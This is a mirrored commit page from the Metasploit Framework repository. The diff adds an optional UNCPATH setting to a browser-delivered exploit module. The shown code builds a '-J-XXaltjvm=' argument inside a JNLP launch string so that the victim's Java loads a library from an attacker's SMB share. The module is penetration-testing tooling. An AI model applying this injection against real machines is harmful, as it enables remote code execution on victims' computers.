mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
add UNCPATH option
git-svn-id: file:///home/svn/framework3/trunk@9095 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
d03eacc386
commit
51e6a64e07
@ -74,7 +74,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
|
||||
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
|
||||
OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
|
||||
OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
@ -187,7 +188,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
|
||||
|
||||
unc = "\\\\" + my_host + "\\" + share_name
|
||||
if (datastore['UNCPATH'])
|
||||
unc = datastore['UNCPATH'].dup
|
||||
else
|
||||
unc = "\\\\" + my_host + "\\" + share_name
|
||||
end
|
||||
jnlp = "-J-XXaltjvm=" + unc + " " + rand_text_alphanumeric(8+rand(8)) + ".jnlp"
|
||||
docbase = ""
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user